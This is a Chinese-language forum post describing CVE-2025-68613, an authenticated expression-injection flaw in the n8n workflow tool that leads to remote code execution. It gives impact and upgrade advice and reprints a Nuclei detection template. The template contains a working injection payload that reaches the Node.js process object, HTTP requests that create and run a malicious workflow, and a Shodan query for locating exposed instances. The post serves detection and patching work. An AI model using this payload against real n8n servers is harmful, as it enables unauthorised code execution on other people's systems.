找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2014

积分

0

好友

290

主题
发表于 2025-12-24 17:36:18 | 查看: 34| 回复: 0

n8n表达式注入漏洞

CVE-2025-68613是针对工作流自动化工具n8n的一个高危漏洞。该漏洞的核心在于表达式注入,可导致经过身份验证的用户通过特定表达式访问Node.js全局上下文,最终引发远程代码执行(RCE)风险,其CVSS评分为最高的10.0分。

漏洞详情

此漏洞源于n8n在处理工作流节点中的表达式时存在缺陷。攻击者能够利用此缺陷,在表达式中构造特殊的JavaScript代码,进而获取process等全局对象,从而在服务器上执行任意命令。由于利用过程需要有效的身份认证令牌(Bearer Token),因此主要威胁来自已获得低权限访问凭证的内部或外部攻击者,攻击者可借此实现权限提升。

安全影响

该漏洞构成了严重的安全风险,影响所有未修复的n8n版本。成功利用此漏洞的攻击者可以完全控制运行n8n的服务端,窃取敏感数据、破坏工作流或部署恶意软件。

检测与修复

官方修复

n8n官方已发布安全更新修复了此漏洞。用户应立即升级到已修复的版本。请参考官方安全公告获取具体的修复版本号(例如1.72.1及以上版本),并及时完成云原生环境中的镜像更新与部署。

检测模板(基于Nuclei)

安全研究人员或运维人员可以使用以下Nuclei检测模板来验证自身环境是否存在此漏洞。该模板模拟了攻击过程:首先创建一个包含恶意表达式的工作流,然后触发该工作流运行,并根据返回结果判断漏洞是否存在。

id: CVE-2025-68613
info:
  name: n8n Expression Injection Remote Code Execution
  author: PentesterFlow Team
  severity: critical
  description: |
    Detects Expression Injection vulnerability in n8n that allows
    authenticated users to access Node.js global context via expressions,
    leading to Remote Code Execution.
  reference:
    - https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp
  classification:
    cvss-score: 10.0
    cve-id: CVE-2025-68613
  metadata:
    verified: true
    product: n8n
    vendor: n8n
    shodan-query: http.title:"n8n"
  tags: cve, n8n, rce, expression-injection, authenticated

variables:
  workflow_name: nuclei-test-{{randstr}}

http:
  - raw:
      - |
        POST /rest/workflows HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}
        {
          "name": "{{workflow_name}}",
          "nodes": [
            {
              "parameters": {
                "value": "={{this.constructor.constructor('return process')().platform}}"
              },
              "name": "Set",
              "type": "n8n-nodes-base.set",
              "typeVersion": 2,
              "position": [250, 300]
            }
          ],
          "connections": {}
        }
      - |
        POST /rest/workflows/{{workflow_id}}/run HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}
        {}
    extractors:
      - type: json
        name: workflow_id
        json:
          - ".id"
        internal: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - linux
          - win32
          - darwin
      - type: status
        status:
          - 200

使用说明
此模板需要提供一个有效的 {{token}} 变量。它首先创建一个包含恶意表达式的工作流,该表达式会尝试返回process.platform信息(如linux),然后执行该工作流。如果响应状态为200且返回体中包含操作系统平台关键词,则判定存在漏洞。




上一篇:RDMA十年演进反思:从应用需求到芯片架构挑战
下一篇:Java亿级数据性能优化实战:从71秒到1.7秒的五步进阶
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-11 14:18 , Processed in 0.207098 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表